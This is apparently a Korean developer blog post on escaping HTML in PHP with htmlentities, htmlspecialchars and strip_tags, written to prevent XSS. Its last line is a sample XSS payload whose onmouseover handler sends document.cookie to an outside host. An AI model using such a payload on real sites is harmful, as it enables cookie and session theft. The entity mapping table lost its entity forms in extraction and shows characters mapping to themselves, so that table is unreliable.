(PHP) HTML tag escape
HTML Tag escape
1
htmlentities( string $string, ENT\_QUOTES, 'UTF-8');
htmlentities()
는 HTML Character Entity에 존재하는 모든 문자를 엔티티로 변환하기 때문에 의도하지 않은 문자까지 이스케이프 될 수 있다.( e.g., ! → !
) 그래서 사이트에서 EUC-KR을 사용하는 경우 htmlentities()
를 사용하면 글자가 깨지기 때문에 htmlspecialchars()
를 사용해야 하지만 UTF-8 인코딩을 사용하는 경우 글자가 깨지지 않기 때문에 htmlentities()
의 세번째 인자를 UTF-8
로 지정해서 사용하는 편이 더 안전하다.
* $flag
(quote style)에는 ENT_QUOTES를, $encoding
(charset)에는 Content-Type 헤더에 있는 charset을 지정해 사용하는 편이 좋다. 변환되는 문자 목록.htmlspecialchars() 의 경우 아래 목록에 있는 것만 변환한다. 단, 작은 따옴표는 ENT\_QUOTES
옵션을 주어야 변환된다. 기본 옵션은 ENT_COMPAT
으로 큰 따옴표만 변환한다.
1
2
3
4
5
& ▶ &
" ▶ "
' ▶ '
< ▶ <
> ▶ >
아예 태그를 제거한다. 그러나 태그 형식이 불완전할 경우 ( >
가 없다거나 ) 제대로 동작하지 않을 가능성이 있다. 제거하지 않을 태그를 옵션으로 지정할 수 있다. 그러나 제거하지 않는 태그를 하나라도 지정하는 경우 이 태그의 attribute를 전혀 건드리지 않기 때문에 이를 이용한 취약점이 발생할 수 있다.
1
<p onmouseover=\"window.location='https://umbum.dev/?cookie='+document.cookie;\">
This post is licensed under CC BY 4.0 by the author.